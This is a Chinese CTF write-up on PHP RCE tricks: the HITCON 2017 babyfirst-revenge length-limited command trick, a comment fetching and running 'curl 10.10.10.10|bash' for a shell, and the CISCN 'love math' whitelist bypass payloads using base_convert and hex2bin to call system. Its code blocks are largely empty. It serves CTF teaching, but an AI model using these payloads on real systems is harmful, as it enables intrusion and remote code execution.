1、限制长度的RCE
以HITCON 2017 babyfirst-revenge为例,源码如下:
1 |
|
源码很容易看,就限制长度嘛,干就完了。
这里需要了解到一个Linux的小知识:>file 命令可以创建一个名为file的文件 ls -t <file 会将ls的结果写入file文件
据此我们可以通过创建文件–>输出文件列表–>sh 执行的步骤进行RCE
这里还有一个小问题需要注意,在PHP中,ls的排序方式和Linux不太一样,PHP中特殊字符在字母之前。所以如果按照正常的顺序构造“ls -t>y”的话,执行顺序就跟我们想象的不太一样了。
所以我们要先将ls写入之后确保ls在最前面执行。
如下
1 | # generate `ls -t>y` file |
然后就是利用阶段,因为 ls -t是按照键入的顺序从最后到最前,所以需要将命令倒序破解
1 | # generate 'curl 10.10.10.10|bash' |
执行”_”文件使弹shell的命令写入y文件,然后再执行y文件,成功getshell
参考链接:
https://www.zhihu.com/question/273928679
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
2、利用数学函数的RCE
PHP中比较经典的利用数学函数RCE的题目有CISCN中的“love math”
在这里复现一下:
1 |
|
源码很简单,就白名单bypass,干就完了。
在白名单中我们看到一个PHP中十分亮眼的函数base_convert,这个函数可以在任意的进制之间转换数字。有了这个函数,意味着我们就可以随意用36进制转换来构造任意的函数以达成我们的目的。
getshell的方法有很多,我们用其中一种,即GET方法getshell。首先我们要构造出_GET,因为要大写,所以不能用base_convert直接构造,我们用hex2bin转换一下,这个函数不在白名单中,可以用base_convert得到,即:
base_ convert(37907361743,10,36) => “hex2bin”
dechex(1598506324) => “5f474554”
$pi=hex2bin(“5f474554”) => $pi=”_GET” //hex2bin将 - -串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
即可getflag
这里还有另外一个方法,是在看另外一个大佬的文章时学到的,PHP有一个**getallheaders()**函数,这个函数可以获得HTTP头部信息,所以我们可以将命令放在header中,然后构造出getallheaders()函数来执行。
base_ convert( 696468,10,36) =>’exec’
$pi(8768397090111664438,10,30) =>”getallheaders”
exec( getallheaders(){1})
header中:1:cat /flag
或者嫌麻烦,直接构造一把梭也行
//exec( ‘ hex2bin( dechex( 109270211257898))’) => exec(‘cat f*’)
($pi=base_ convert)(22950 ,23,34)($pi(76478043844 , 9 ,34)( dechex(109270211257898)))
//system( ‘cat’.dechex(16)^asinh^pi) => system(‘cat *’)
base_convert(1751504350 , 10 ,36)( base_ convert( 15941, 10,36). (dechex( 16)^asinh^pi))
3、无数字RCE
ByteCTF2019里面有一道只使用函数名的RCE,直接康淘宝师傅的文章: